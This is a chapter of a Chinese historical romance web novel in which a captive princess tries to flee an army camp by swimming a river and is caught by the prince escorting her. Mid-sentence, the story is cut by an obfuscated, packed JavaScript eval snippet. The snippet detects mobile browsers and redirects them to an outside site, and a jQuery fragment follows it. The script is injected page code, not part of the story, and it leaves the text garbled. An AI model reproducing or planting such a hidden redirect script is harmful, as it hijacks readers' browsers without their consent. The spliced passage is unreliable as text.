入夜,队伍照常安营扎寨。
多年来北地战乱不断,人烟稀少,燕国才拿下冀州没几年,自身又常年与周边的匈奴、秦国攻伐,来不及休养生息,驿站实在少得可怜,因此他们多半是在路过的城镇和村落里落脚,今夜正好又歇在一处临河的村子里。
纪吟等的便是这个机会。
她像往常那样吃完晚饭,洗漱完躺上床,闭着眼,作出一副入睡模样,实则心脏一下又一下剧烈地跳动着,似不安,更似激动。
本以为离了兖州没了秦军威胁后燕军会松懈些,结果一路走来,纪吟深深见识到燕军的守卫有多严密,每次必要仔细检查内外屋舍,安顿好后便在各个出入口安排卫队巡逻,轻易不能出入,弄得纪吟都忍不住怀疑段伏归是不是仇人遍地,不然为什么都到了自家地界还这么小心。
先前王适之带队的时候守卫可没这么强,只可惜那时的她刚穿越过来,病重的身体风一吹就倒,别说逃跑,多走两步路都喘不过气。
但燕军的防卫也不是全无破绽。
他们每次会根据地形的不同调整布防,纪吟发现临河的一面巡逻频率会低一些,正常敌军都是从陆路攻过来,背水的一面相对安全,大约一刻钟才会经过一次,从上支队伍彻底消失到下至队伍出现,中间会间隔约一两分钟的空档。
便是这个发现让纪吟生出希望。
她从小学习游泳,小学初中还在校游泳队训练过,只要能避开巡逻队悄悄来到河边,便能渡水逃跑。
野生河流有杂物、碎石、水草、暗流等风险,况且现在河水尚凉,渡河逃跑的风险也不小,但相比起被当做玩物送到燕京嫁给一个五十多岁的老头子,纪吟愿意冒这风险。
时间一分一秒过去,四下万籁俱静,赶了一天路,绝大多数人已进入黑甜的梦乡。
纪吟倏地睁开眼。
她轻手轻脚起身,披上外衫来到窗边,通过月亮的高度判断现在的时辰。
应该已经过了子时。
差不多了。
纪吟拔下门栓,又小心翼翼地推开陈旧的木门,尽量不发出任何声响。
透过门缝观察片刻,确定没有人,她闪身躲到墙边,一路摸索到村子边缘。
河滩上燃着两堆柴火,是先前造饭时搭的,入了夜,飘摇的火光恰好能为巡逻队提供光线。
纪吟侧身躲在土墙阴影里耐心等待,见巡逻队果在按照自己观察到的频率行动。
待他们第三次从纪吟面前经过,她视线尾随队伍,等到他们的身影彻底消失在转角处,纪吟又在心中默数了十五个数,这才瞄准时机飞快冲了出去,脚步灵巧,只有脚掌落地。
四下静得过分,她仿佛能听到自己奔跑时的每一次心跳。
深蓝的夜空下,少女纤细的身影像只轻灵的鸟儿划过大地。
纪吟一口气跑到河边,借着茂密的芦苇丛遮挡身形,回头看去,果然,不过十几息时间,下支巡逻队便出现了。
纪吟缓缓蹲下身,尽量隐藏自己,用手捂住口鼻,哪怕肺部剧烈得快要炸开也不敢大口呼吸。
举着火把的巡逻队沿着河滩走过来,最近的时候,离纪吟不过十几步远,纪吟屏息凝神,精神紧绷到了极致。
幸而这在深夜,火把照明有限,对方并未发现芦苇丛后的人影。
待他们走远,赶在下波巡逻队到来前,纪吟又继续猫着身体往远处的更加茂密的芦苇丛移动,直到抵达一块大石处。
裹挟水雾的夜风袭来,纪吟站在大石边,待心跳终于缓和下来,她脱下脚上的绣鞋放在石上,又解开外衫。
纪吟怕自己就这么失踪会连累随行宫女,也怕查出逃跑被段伏归派兵追捕,于是准备为自己伪造一个溺亡的场景。
这样也不保险,可她别无选择了。
纪吟看着黑沉沉一片却又不时闪着粼粼月光的河面,深吸一口气,赤脚往前,准备跨入水中。
“这么晚了,公主怎么一个人在这里?”
“啊!”突如其来的男声将纪吟吓了个半死,惊叫一声,差点摔进河里。
见鬼了,她真的见鬼了啊啊啊!
纪吟此时的身体僵得比旁边那块石头还要硬,好不容易站稳,她机械地转过头,幽幽月色之下,一道高大颀长的身影正从芦苇中转身而出,一步一步朝自己走来。
纪吟实在难以控制表情,两眼惊恐。
相比起她的错愕,段伏归反倒闲适得很,衣带整齐,仿佛出来散步赏月,可谁会来这个杂草丛生的地方赏月啊。
男人站在她面前,居高临下,将她的反应尽收眼底,露出饶有兴致的神色。
“大半夜不睡觉,你来河边,是想干什么?”段伏归又问,大步往前一跨便逼到纪吟面前,低沉的男声仿佛恶魔在她耳边低吟。
纪吟不知道他是何时来的,更不知自己刚才的行动是否都被他看在眼底。
“我……”纪吟绞尽脑汁。
“嗯?”
男人的眼神带来沉压压的窒息感,纪吟心如擂鼓,脑子飞速转动起来,余光瞥见石头上的外衫,灵光一现,有了主意。
她抬眸看了段伏归一眼,又撇开脸,做出一副羞赧的模样,“我来这里是想……”
“想干什么?”
“借河水……沐浴。”
似没想到这个答案,男人眼神顿了下,又好似轻笑了声,“是吗?”
“嗯嗯。”纪吟忙不迭点头。
段伏归的眼神再次从她身上扫过,最后停留在她赤着的足上。
她现在这副模样,硬说来沐浴也说得过去,但,段伏归一个字都不信,眼前这个少女到底是小白兔还是狡猾的小狐狸,他再清楚不过了。
“河边有队伍巡夜,他们就这么放你过来了?”
男人语气乍听平常,暗中却藏着极其危险的刀锋。
纪吟仿佛被他的话薅住了长发,头皮一阵发麻,面上却还要装出无辜的模样,“许是巧合,我出来时并未遇见殿下的人。”
段伏归看着面前的女孩儿,她有一双林间小鹿般的眼睛,这么仰起脸看人,瞳仁清灵纯澈,倒真是一幅乖巧的模样。
“北地的河水还凉着,可不像南地那么暖和,公主不担心受凉?”他又问。
纪吟脸上却作出为难的模样,“实是路上条件简陋,不得已才为之。”
话落,也不知男人有没有相信,只听他又道:“你一个闺阁女郎,胆子倒是大得很,丫鬟也不带,一个人大半夜来河边,河水湍急,就不怕一不小心被水鬼抓走了?”
这水鬼说的是你自己吧,纪吟暗暗吐槽这个坏了自己好事儿的男人,正要解释,下一秒他的话却像惊雷一样劈到她脑海里。
“还是说,你想趁机逃跑?”
听到“逃跑”两个字,纪吟的心狠狠颤了下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625999|172363||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,浑身汗毛都竖了起来,冒出一颗又一颗细小的鸡皮疙瘩。
夜风拂过,她忽的感觉到一股前所未有的寒意。
纪吟颤着睫羽,小心看向男人,他说这话不像在开玩笑。
他是察觉到了什么掌握了证据,还是只是随口诈她?
纪吟飞快回忆起来,除了遇袭那日和今夜,她一直小心得很,从没向任何人透露过自己要逃的心思,也没留下证据。
就算段伏归怀疑又怎么样,她咬死不承认。
“殿下说笑了,如今天下大乱,盗匪四起,我孤身一个弱女子能往哪里去。”纪吟回答得一脸坦然。
段伏归定定地看了她一会儿,“你知道这世道乱就好。”
他这话看似提醒,落在纪吟耳中却如警告。
“夜深了,公主早点回去歇息吧。”
“是。”
逃跑计划未半而中道崩殂,纪吟不敢再当着段伏归的面耍小动作,忙转身捡了大石上的外衫和鞋子穿上。
她做这一系列动作时段伏归就在一旁看着,汉人女子,尤其是高门贵女,多重名节,在外男面前多有避讳,然而纪吟穿鞋穿衣的动作却自然极了,半点不觉得被人看到有什么。
想到此处,段伏归的眼神不自觉落到她足上,雪白纤瘦,在这昏昧的夜色中尤其显眼。
再看她的脸,气色比初见那日好了不少,被月光映照出莹莹微光,竟有几分出尘的美。
段伏归心中微动,忽然觉得就这么送进宫里有点可惜,毕竟,他父皇是真老了,而她,这般鲜妍,还有趣。
纪吟很快就收拾好了,垂首立在原地。
段伏归这才收回视线,转身往回走。
纪吟没精打采地跟在他身后,看到他被月光映出的影子正好落在自己面前,想到他半路杀出来怀了自己好事儿,心里恨得牙痒痒,就故意去踩他影子脑袋。
段伏归似察觉到了什么,猛地转过头来。
纪吟一只脚还在空中,僵硬了瞬,随即慢慢落到地上,仰起小脸眨巴睫羽,朝他露出一个无辜疑惑的眼神,好似在问,怎么不走了。
段伏归将她扫视一遍,确实没有可疑之处,只得作罢。
两人一前一后回来,巡逻经过的守卫见状,不由惊讶,心里也忍不住冒出各种揣测,深更半夜的,孤男寡女一起出现……难不成殿下对这个齐国公主有念头?
话说这公主确实生得美,跟北地女子完全不同,皮肤白得像雪一样,现在世道混乱,别说儿子霸占父亲的小妾,便是姐弟、母女一起侍奉也不是没有。
两人并不知道旁人的意淫,段伏归目送纪吟回到房间,自己却没休息,反站在外面,让元都把今夜巡逻的守卫都叫过来,厉声斥道:“你们负责巡夜,却叫一个女人在眼皮子底下溜了出去,连个女人都防不住,本王还指望你们御敌?”
众人见主上发怒,不敢辩驳,忙跪地请罪,“属下失职,请殿下责罚。”
段伏归冷着脸,没再说话,只让他们自己下去领罚,然后,他朝元都吩咐,“派人看着她。”
元都立马明白主子口中的“她”指的是谁了,只是有点疑惑,“主人是怀疑这个汉人公主是细作?”
“不,她是只看着乖巧实则野性难驯的狸奴。”段伏归抬头望向深蓝色的夜空,微眯起凤眸。
元都不明白主人这意思,但并不妨碍他认真执行主人的命令。